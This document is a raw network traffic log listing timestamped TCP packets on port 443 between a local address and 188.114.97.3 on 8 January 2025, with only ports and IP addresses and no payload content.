Jan 8, 2025 13:55:13.952505112 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952545881 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.952605009 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952620029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952671051 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.952678919 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.952722073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.953202963 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.953219891 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.953274012 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.953280926 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.953310966 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.953334093 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.953543901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.953560114 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.953619003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.953627110 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.953674078 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.991322041 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.991342068 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.991405010 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.991415977 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.991430998 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.991431952 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.991456985 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.991481066 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.991489887 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:13.991503000 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.991524935 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:13.991547108 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.043462038 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.043472052 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.043551922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.043564081 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.043607950 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.044137955 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.044156075 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.044233084 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.044244051 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.044279099 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.044297934 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.044861078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.044878960 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.044936895 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.044943094 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.044960022 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.044985056 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.045178890 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045197964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045262098 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.045269966 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045356035 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.045696974 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045717001 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045758963 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.045772076 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045793056 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.045825958 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.045918941 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045934916 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.045994043 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.046001911 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.046046972 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.087565899 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.087590933 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.087652922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.087661982 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.087733984 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.087891102 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.087913036 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.087963104 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.087970018 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.087987900 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.088006973 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.135772943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.135795116 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.135862112 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.135870934 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.135921955 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.136610985 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.136629105 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.136703014 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.136710882 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.136749983 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.137286901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.137310028 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.137362957 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.137370110 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.137393951 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.137432098 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.137562990 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.137578011 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.137639999 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.137648106 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.137687922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.138236046 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.138252020 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.138315916 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.138324022 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.138364077 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.138453960 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.138470888 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.138542891 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.138550997 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.138593912 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.179991961 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.180012941 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.180111885 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.180111885 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.180135965 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.180195093 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.180366993 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.180389881 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.180471897 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.180471897 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.180485010 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.180608988 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.228164911 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.228182077 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.228374004 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.228389978 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.228485107 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.228998899 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.229015112 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.229104042 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.229104042 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.229111910 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.229371071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.229628086 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.229643106 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.229840040 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.229847908 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.229924917 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.230040073 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230065107 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230180979 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.230194092 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230285883 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.230561018 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230577946 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230807066 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.230813980 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230909109 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230911970 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.230922937 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230956078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.230998039 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.231005907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.231038094 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.231091976 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.272474051 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.272490025 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.272610903 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.272610903 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.272631884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.272694111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.272860050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.272876024 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.272969007 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.272969007 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.272978067 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.273142099 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.320816040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.320832968 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.320976019 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.320987940 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.321137905 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.321338892 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.321360111 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.321432114 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.321432114 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.321440935 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.321566105 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.322139025 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.322154999 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.322292089 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.322299957 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.322354078 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.322525024 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.322540045 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.322643042 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.322652102 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.322927952 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.323005915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.323021889 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.323138952 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.323147058 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.323235989 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.323360920 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.323378086 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.323544025 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.323551893 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.323690891 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.365442991 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.365463972 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.365686893 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.365699053 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.365808964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.365829945 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.365915060 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.365915060 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.365925074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.365992069 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.413220882 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.413237095 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.413364887 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.413364887 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.413378954 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.413429022 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.413731098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.413747072 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.413841963 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.413850069 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.413918972 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.414702892 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.414724112 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.414833069 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.414849997 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.414887905 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.414921045 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.415782928 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.415802002 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.415895939 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.415895939 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.415904045 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.415993929 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.415993929 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.418268919 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.418284893 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.418385029 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.418391943 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.418427944 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.418447018 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.418466091 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.418473005 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.418504000 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.418582916 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.457520962 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.457537889 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.457634926 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.457634926 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.457648039 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.457700014 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.457798958 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.457815886 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.457916021 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.457923889 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.458111048 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.505789042 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.505816936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.506081104 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.506104946 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.506203890 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.506356955 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.506375074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.506484985 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.506494045 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.506576061 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.507366896 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.507392883 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.507525921 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.507535934 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.507613897 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.507620096 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.507626057 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.507659912 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.507700920 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.507709026 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.507740021 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.507795095 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.508130074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.508148909 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.508249998 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.508256912 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.508342981 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.508379936 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.508400917 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.508529902 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.508538008 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.508618116 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.550112963 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.550131083 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.550333023 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.550347090 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.550359011 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.550400019 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.550448895 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.550457001 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.550488949 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.550510883 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.550510883 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.598278999 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.598295927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.598490000 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.598503113 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.598588943 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.598779917 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.598807096 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.598999977 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.599009037 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.599085093 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.599637985 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.599654913 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.599746943 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.599755049 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.599852085 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.600024939 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.600039959 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.600183010 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.600188971 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.600501060 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.600605965 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.600621939 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.600749016 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.600756884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.600939035 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.600967884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.600985050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.601088047 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.601094961 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.601152897 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.642607927 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.642627001 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.642739058 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.642751932 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.642878056 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.642898083 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.642918110 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.642925978 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.642960072 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.642992973 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.690715075 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.690732956 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.690849066 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.690849066 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.690860987 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.691137075 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:14.691243887 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.691268921 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:14.691490889 CET	49706	443	192.168.2.7	188.114.97.3
